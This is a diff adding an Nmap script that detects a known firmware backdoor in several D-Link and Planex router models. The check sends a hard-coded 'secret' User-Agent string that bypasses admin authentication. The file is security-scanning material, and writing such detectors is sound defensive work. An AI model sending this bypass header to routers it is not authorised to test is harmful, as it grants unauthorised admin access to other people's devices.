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+description = [[
+Detects a firmware backdoor on some D-Link routers by changing the User-Agent
+to a "secret" value. Using the "secret" User-Agent bypasses authentication
+and allows admin access to the router.
+
+The following router models are likely to be vulnerable: DIR-100, DIR-120,
+DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, TM-G5240
+
+In addition, several Planex routers also appear to use the same firmware:
+BRL-04UR, BRL-04CW
+
+Reference: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-dlink-backdoor <target>
+--
+-- @output
+-- PORT   STATE SERVICE REASON
+-- 80/tcp open  http    syn-ack
+-- | http-dlink-backdoor:
+-- |   VULNERABLE:
+-- |   Firmware backdoor in some models of D-Link routers allow for admin password bypass
+-- |     State: VULNERABLE
+-- |     Risk factor: High
+-- |     Description:
+-- |       D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
+-- |
+-- |     References:
+-- |_      http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
+---
+
+author = "Patrik Karlsson <patrik@cqure.net>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln"}
+
+local http = require "http"
+local shortport = require "shortport"
+local string = require "string"
+local vulns = require "vulns"
+
+portrule = shortport.http
+
+action = function(host, port)
+  local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true })
+  local server = response.header and response.header['server'] or ""
+  local vuln_table = {
+    title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass",
+    state = vulns.STATE.NOT_VULN,
+    risk_factor = "High",
+    description = [[
+D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
+]],
+    references = {
+      'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/',
+    }
+  }
+  if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or
+    ( response.status == 302 and server:match("^Alpha_webserv") ) then
+    response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } })
+
+    if ( response.status == 200 ) then
+      vuln_table.state = vulns.STATE.VULN
+      local report = vulns.Report:new(SCRIPT_NAME, host, port)
+      return report:make_output(vuln_table)
+    end
+  end
+  return
+end